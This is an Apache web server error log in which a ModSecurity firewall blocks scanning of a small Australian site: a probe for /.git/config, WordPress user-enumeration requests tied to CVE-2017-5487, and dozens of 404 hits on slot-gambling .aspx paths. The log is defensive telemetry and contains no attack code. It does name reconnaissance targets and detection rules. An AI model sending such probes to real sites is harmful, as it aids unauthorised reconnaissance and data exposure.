[Tue May 12 13:22:33.069046 2026] [:error] [pid 40061:tid 40086] [client 119.91.20.139:51520] [client 119.91.20.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agK5GbycIKt8hxHMBYvNywAAANc"]
[Tue May 12 14:06:21.564380 2026] [:error] [pid 55559:tid 55645] [client 65.111.0.197:12617] [client 65.111.0.197] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "agLDXdj0hVMLJAOI_fyTfAAAARg"]
[Tue May 12 14:34:02.945641 2026] [:error] [pid 21242:tid 21251] [client 163.172.31.86:60706] [client 163.172.31.86] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "agLJ2szeh8JWZob6PnKgyAAAAYU"]
[Tue May 12 14:34:13.780098 2026] [:error] [pid 39957:tid 39998] [client 144.76.41.117:56440] [client 144.76.41.117] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "agLJ5eAfHHyq0DBh5BJOvwAAAEY"]
[Tue May 12 14:34:25.407315 2026] [:error] [pid 39957:tid 39994] [client 38.95.35.74:49160] [client 38.95.35.74] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "agLJ8eAfHHyq0DBh5BJOxQAAAEI"]
[Tue May 12 14:41:41.736700 2026] [:error] [pid 39957:tid 40004] [client 43.164.131.148:57824] [client 43.164.131.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agLLpeAfHHyq0DBh5BJPqAAAAEw"]
[Tue May 12 17:26:55.966578 2026] [autoindex:error] [pid 42143:tid 42158] [client 40.81.226.252:58562] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue May 12 18:04:38.110337 2026] [:error] [pid 55559:tid 55633] [client 51.68.235.235:53646] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "agL7Ntj0hVMLJAOI_fyoBgAAAQ4"]
[Tue May 12 18:04:40.567600 2026] [:error] [pid 40061:tid 40079] [client 51.68.235.235:43704] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "agL7OLycIKt8hxHMBYvsuwAAANA"]
[Tue May 12 18:04:42.987910 2026] [:error] [pid 21242:tid 21249] [client 51.68.235.235:43720] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "agL7Oszeh8JWZob6PnLWyAAAAYM"]
[Tue May 12 18:04:45.358989 2026] [:error] [pid 40061:tid 40083] [client 51.68.235.235:43730] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "agL7PbycIKt8hxHMBYvsygAAANQ"]
[Tue May 12 18:04:47.893871 2026] [:error] [pid 42143:tid 42162] [client 51.68.235.235:59520] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "agL7P0S2WmK92iCO2L0DLQAAAU8"]
[Tue May 12 18:04:50.410109 2026] [:error] [pid 21242:tid 21266] [client 51.68.235.235:59526] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "agL7Qszeh8JWZob6PnLWzQAAAZQ"]
[Tue May 12 18:04:52.945154 2026] [:error] [pid 40061:tid 40068] [client 51.68.235.235:59536] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "agL7RLycIKt8hxHMBYvszQAAAMU"]
[Tue May 12 18:04:55.474866 2026] [:error] [pid 55559:tid 55625] [client 51.68.235.235:59548] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "agL7R9j0hVMLJAOI_fyoDAAAAQc"]
[Tue May 12 18:04:57.923703 2026] [:error] [pid 40061:tid 40076] [client 51.68.235.235:48146] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agL7SbycIKt8hxHMBYvs2AAAAM0"]
[Tue May 12 18:05:00.459689 2026] [:error] [pid 39956:tid 39979] [client 51.68.235.235:48162] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agL7TI2K3wZDsNji3MwCoQAAAA4"]
[Tue May 12 18:05:02.967556 2026] [:error] [pid 21242:tid 21257] [client 51.68.235.235:48168] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "agL7Tszeh8JWZob6PnLW3AAAAYs"]
[Tue May 12 18:05:05.477921 2026] [:error] [pid 40061:tid 40084] [client 51.68.235.235:48176] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "agL7UbycIKt8hxHMBYvs2wAAANU"]
[Tue May 12 18:05:07.857825 2026] [:error] [pid 42143:tid 42166] [client 51.68.235.235:41736] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "agL7U0S2WmK92iCO2L0DMgAAAVM"]
[Tue May 12 18:05:10.385366 2026] [:error] [pid 39957:tid 39995] [client 51.68.235.235:41746] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "agL7VuAfHHyq0DBh5BJpzwAAAEM"]
[Tue May 12 18:05:12.864857 2026] [:error] [pid 39957:tid 40006] [client 51.68.235.235:41762] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "agL7WOAfHHyq0DBh5BJp0wAAAE4"]
[Tue May 12 18:05:15.229647 2026] [:error] [pid 55559:tid 55622] [client 51.68.235.235:41776] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "agL7W9j0hVMLJAOI_fyoGwAAAQQ"]
[Tue May 12 18:05:17.738673 2026] [:error] [pid 21242:tid 21263] [client 51.68.235.235:43818] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "agL7Xczeh8JWZob6PnLW4gAAAZE"]
[Tue May 12 18:05:20.247809 2026] [:error] [pid 21242:tid 21259] [client 51.68.235.235:43820] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "agL7YMzeh8JWZob6PnLW5QAAAY0"]
[Tue May 12 18:05:22.735180 2026] [:error] [pid 21242:tid 21257] [client 51.68.235.235:43824] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "agL7Yszeh8JWZob6PnLW5wAAAYs"]
[Tue May 12 18:05:25.239976 2026] [:error] [pid 21242:tid 21270] [client 51.68.235.235:43836] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "agL7Zczeh8JWZob6PnLW6QAAAZg"]
[Tue May 12 18:05:27.745185 2026] [:error] [pid 42143:tid 42164] [client 51.68.235.235:39906] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "agL7Z0S2WmK92iCO2L0DPAAAAVE"]
[Tue May 12 18:05:30.250498 2026] [:error] [pid 39958:tid 40029] [client 51.68.235.235:39922] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "agL7auVI9FVDxXB2Xxhy3QAAAIo"]
[Tue May 12 18:05:32.777615 2026] [:error] [pid 42143:tid 42163] [client 51.68.235.235:39936] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "agL7bES2WmK92iCO2L0DQQAAAVA"]
[Tue May 12 18:06:06.440470 2026] [:error] [pid 21242:tid 21252] [client 51.68.235.235:39938] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "agL7jszeh8JWZob6PnLXFgAAAYY"]
[Tue May 12 18:06:08.871183 2026] [:error] [pid 21242:tid 21262] [client 51.68.235.235:35310] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "agL7kMzeh8JWZob6PnLXFwAAAZA"]
[Tue May 12 18:06:11.194574 2026] [:error] [pid 40061:tid 40084] [client 51.68.235.235:35324] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "agL7k7ycIKt8hxHMBYvs7gAAANU"]
[Tue May 12 18:06:13.666827 2026] [:error] [pid 39958:tid 40042] [client 51.68.235.235:35334] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "agL7leVI9FVDxXB2Xxhy9gAAAJc"]
[Tue May 12 18:06:16.009926 2026] [:error] [pid 55559:tid 55628] [client 51.68.235.235:51958] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "agL7mNj0hVMLJAOI_fyoJwAAAQo"]
[Tue May 12 18:06:18.519558 2026] [:error] [pid 39957:tid 39992] [client 51.68.235.235:51966] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "agL7muAfHHyq0DBh5BJp5AAAAEA"]
[Tue May 12 18:06:21.024748 2026] [:error] [pid 39957:tid 40013] [client 51.68.235.235:51972] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "agL7neAfHHyq0DBh5BJp5QAAAFU"]
[Tue May 12 18:06:23.558502 2026] [:error] [pid 39957:tid 40006] [client 51.68.235.235:51986] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "agL7n-AfHHyq0DBh5BJp6QAAAE4"]
[Tue May 12 18:06:26.061014 2026] [:error] [pid 39957:tid 40016] [client 51.68.235.235:58516] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "agL7ouAfHHyq0DBh5BJp6wAAAFg"]
[Tue May 12 18:06:28.435159 2026] [:error] [pid 42143:tid 42168] [client 51.68.235.235:58528] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "agL7pES2WmK92iCO2L0DXwAAAVU"]
[Tue May 12 18:06:30.961550 2026] [:error] [pid 21242:tid 21247] [client 51.68.235.235:58534] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "agL7pszeh8JWZob6PnLXHgAAAYE"]
[Tue May 12 18:06:33.358609 2026] [:error] [pid 55559:tid 55624] [client 51.68.235.235:58540] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "agL7qdj0hVMLJAOI_fyoLwAAAQY"]
[Tue May 12 18:06:35.852805 2026] [:error] [pid 55559:tid 55636] [client 51.68.235.235:45076] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "agL7q9j0hVMLJAOI_fyoNwAAARA"]
[Tue May 12 18:06:38.345937 2026] [:error] [pid 39957:tid 39994] [client 51.68.235.235:45088] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "agL7ruAfHHyq0DBh5BJp8QAAAEI"]
[Tue May 12 18:06:40.895382 2026] [:error] [pid 40061:tid 40078] [client 51.68.235.235:45102] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agL7sLycIKt8hxHMBYvs-QAAAM8"]
[Tue May 12 18:06:43.246019 2026] [:error] [pid 40061:tid 40081] [client 51.68.235.235:45106] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "agL7s7ycIKt8hxHMBYvs-wAAANI"]
[Tue May 12 18:06:45.792626 2026] [:error] [pid 39957:tid 40013] [client 51.68.235.235:50578] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "agL7teAfHHyq0DBh5BJp8wAAAFU"]
[Tue May 12 18:06:48.183715 2026] [:error] [pid 39958:tid 40020] [client 51.68.235.235:50580] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "agL7uOVI9FVDxXB2Xxhy_wAAAIE"]
[Tue May 12 18:06:50.707948 2026] [:error] [pid 39956:tid 39978] [client 51.68.235.235:50590] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "agL7uo2K3wZDsNji3MwCsAAAAA0"]
[Tue May 12 18:06:53.189976 2026] [:error] [pid 39957:tid 40005] [client 51.68.235.235:50594] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "agL7veAfHHyq0DBh5BJp-AAAAE0"]
[Tue May 12 18:06:55.697571 2026] [:error] [pid 21242:tid 21247] [client 51.68.235.235:42926] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "agL7v8zeh8JWZob6PnLXKQAAAYE"]
[Tue May 12 18:06:58.224724 2026] [:error] [pid 40061:tid 40083] [client 51.68.235.235:42934] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "agL7wrycIKt8hxHMBYvtAQAAANQ"]
[Tue May 12 18:07:00.598471 2026] [:error] [pid 39957:tid 39992] [client 51.68.235.235:42940] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "agL7xOAfHHyq0DBh5BJqAAAAAEA"]
[Tue May 12 18:07:33.659467 2026] [:error] [pid 40061:tid 40076] [client 51.68.235.235:42952] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "agL75bycIKt8hxHMBYvtDwAAAM0"]
